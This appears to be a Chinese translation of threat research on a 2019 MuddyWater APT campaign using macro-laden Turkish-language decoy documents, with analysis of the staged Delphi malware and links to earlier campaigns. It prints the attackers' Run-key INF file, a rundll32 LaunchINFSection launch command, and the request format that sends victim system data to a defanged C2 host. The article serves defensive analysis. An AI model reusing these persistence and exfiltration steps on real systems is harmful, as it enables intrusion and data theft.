Muddy Waters APT最新攻击活动 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

Muddy Waters APT最新攻击活动

ang010ela web安全 2019-04-13 09:23:45
171014
收藏

导语:最近,Check Point研究人员发现一起MuddyWater的新活动,被攻击的目标有白俄罗斯、土耳其和乌克兰。

MuddyWater是一个伊朗的APT组织,从2017年开始活跃。最近,Check Point研究人员发现一起MuddyWater的新活动,被攻击的目标有白俄罗斯、土耳其和乌克兰。

攻击者使用的一个简单而有效的感染向量:鱼叉式钓鱼攻击。攻击一般以一封发送给目标组织的邮件开始的,然后从被感染的系统中窃取合法文档,再将改文档武器化然后发送给其他潜在的受害者。

为此需要创建一个诱使用户启用内容的诱饵信息,诱饵信息一般都含有真实公司或政府机构的logo。这些精心制作的社工恶意文档是变成无文件感染链的第一阶段,感染链最终会传递一个签名PowerShell后门——POWERSTATS。该后门可以从攻击者处接收命令,从系统中窃取文件、执行脚本、删除文件等等。

这些年来MuddyWater APT组织使用的策略、技术和步骤都在不断地变化。在最近的攻击活动中,研究人员发现一个并不是用PowerShell编写的二阶段可执行文件。

样本

研究人员发现一个名为SPK KANUN DEĞİŞİKLİĞİ GİB GÖRÜŞÜ.doc的恶意word文档,翻译过来就是SPK(土耳其资本市场委员会)法律变化.doc。该文档含有宏,并通过展示土耳其文的诱饵信息诱使受害者启动内容。

图1: 含有宏的恶意文档

· SHA-256: 2f77ec3dd5a5c8146213fdf6ac2df4a25a542cbd809689a5642954f2097e037a

背景中目录的图像含有看似合法的法律条文变化的描述,图中单词下的红线显示在一个不支持土耳其语的环境中编辑:

图2: 在非土耳其语环境中创建的诱饵文档

感染向量

如果受害者启用了恶意word文档中的宏,就会解码一个嵌入式payload,并以CiscoAny.exe的名字保存在%APPDATA%目录中。

可执行文件是用Delphi语言编写的,并用UPX打包,其中含有反分析技术:

image.png

除了运行该可执行文件外,还会在相同目录下创建一个名为CiscoTAP.inf的文件,文件内容如下:

[Version]
Signature=$CHICAGO$
[DefaultInstall]
AddReg=AddRegSection
[AddRegSection]
HKCU,Software\Microsoft\Windows\CurrentVersion\Run,CiscoAny,,”%APPDATA%\CiscoAny.exe”

然后执行以下命令来运行payload:

“C:\Windows\System32\cmd.exe” /k rundll32.exe ieadvpack.dll,LaunchINFSection %APPDATA%\CiscoTAP.inf,,1,

因为命令被加入到RUN注册表key中,这意味着可执行文件会在用户下次登陆后运行。IEAdvpack是一个Windows 8 DLL,该命令在一些系统中是无法执行的,因为找不到DLL。INF文件在之前的MuddyWater攻击活动中就被使用过了。

执行后,第一阶段会创建%APPDATA%\ID.dat文件,这是一个含有16个字符长的随机生成的受害者ID的文件:

 [UID]
ID=[VICTIM_ID]

然后,恶意软件会收集运行的系统中的信息,比如host name、运行的进程、物理内存、开机时间、使用的语言、公网IP地址等。收集的这些信息都回写入%APPDATA%\Info.txt文件中。

在收集数据之后,可执行文件会释放另一个可执行文件CiscoAny.exe,该文件是硬编码在resource中的,释放的位置为 %TEMP% 文件夹。第二个可执行文件也是用Delphi语言编写用UPX打包的:

image.png

最后,更新前面提到的ID.dat文件来表明感染的第一阶段是成功的:

[UID]
ID=[VICTIM_ID]
[STAGE]
ONE=SUC

第二阶段

第二个可执行文件首先检查是否联网。会发送一个到Google.com的请求,如何连接成功,就复制之前创建的Info.txt文件的内容到%APPDATA%\[UNIQUE_ID].txt总。

图3:第二阶段指令

然后将收集的含有系统信息的文件POST到185.117.75[.]116.php:

—————————–[VICTIM_ID]
Content-Disposition: form-data; name=”g3t_f_465″; filename=”[UNIQUE_ID].txt”
Content-Type: application/octet-stream
[INFO.TXT CONTENT]
—————————–[VICTIM_ID]
Content-Disposition: form-data; name=”t0ken”
a8s9ydehj323r8ykjqwer@8124e
—————————–[VICTIM_ID]–

请求中的参数(g3t_f_465和t0ken) 是由嵌入在可执行文件中的TFRMMAIN resource中的TclHttpRequest 对象决定的:

图3: 嵌入的配置

还有一个含有受害者唯一ID的请求会发送给googleads.hopto[.]org:

图6: C2通信

来自C2的响应消息会保存在%APPDATA%\temp.dat中,然后复制到%APPDATA%\Lib.ps1中。主可执行文件会持续检查lib.ps1,然后尝试执行其中的内容。

截止分析时已经无法获取来自C2的响应,但是POWERSTATS是感染的下一阶段的工具。

反分析技术

第一个可执行文件中使用的反分析技术非常有效,因此很难通过静态方法去分析样本。混淆方法创建了一个类似意大利面的代码,即将原始代码流分为若干小块,下一个指令的真实位置的动态计算的。

下面是一个例子,计算出下一个指令的位置,然后跳转(使用jmp或retn):

图7: 反分析代码段

与MuddyWater非常相似

该文档和嵌入的宏含有一些特殊字符串使研究人员感觉似曾相识。研究人员搜索发现该文档在MuddyWater的攻击活动中出现过:

image.pngimage.png

image.png研究人员使用VBA2Graph工具来将每个文档中宏的VBA调用图形化显示,这样可以快速发现这些文件的相似之处,比如函数名、参数名、解密方法和代码流。比如,研究人员就发现函数UFYYRJSFHX负责将解码的payload写入文件系统中。

图8: Vba2graph图形关系

这些文档都是2019年生成的,但是最后2个含有2个名为F38HUYFLSF985HFUISHS和SSSDS98746GB函数,这两个函数在2018年11月MuddyWater攻击活动中就开始使用了,因此研究人员猜测这些攻击活动中有某种联系:

图9: Vba2graph不同攻击活动之间的关系

MuddyWater不同之处

从前面的分析可以看出这些样本之间是有明显的联系的,但是也有一些不同之处。比如,从外观来看,MuddyWater使用的文档一般含有一个英文的诱饵信息,而前面两个样本中是没有的,第三个样本使用的是土耳其语。

而且,如果比较不同文档的宏,可以发现研究人员这个月发现的属于MuddyWater的样本在宏中使用了另一个函数命名方法(4个小写字母而不是大写字母和数字的组合):

图10: Vba2graph最近并行的攻击活动

· SHA-256: 08e256cd2fa027552be253ec3bf427b537977f9123adf1f36e7cd2843a057554

这与研究人员之前发现的样本是不同的,但在近几个月出现的其他的MuddyWater样本中也出现过:

图11: Vba2graph最近并行的攻击活动

· SHA-256: 93b749082651d7fc0b3caa9df81bad7617b3bd4475de58acfe953dfafc7b3987

以上说明,攻击者在同时并行发起攻击活动,其中在攻击的第一阶段至少使用了两个不同的宏生成器。

结论

MuddyWater APT攻击的目前之前主要在中东地区,包括沙特阿拉伯、阿联酋和土耳其。现在攻击的目标已经扩展到了白俄罗斯和乌克兰。攻击者还在不断的变化其攻击技术和策略,但主要还是使用基于宏的恶意文档来传播恶意payload。研究人员还发现攻击者在同时并行地发起多个攻击活动。

  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2024 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务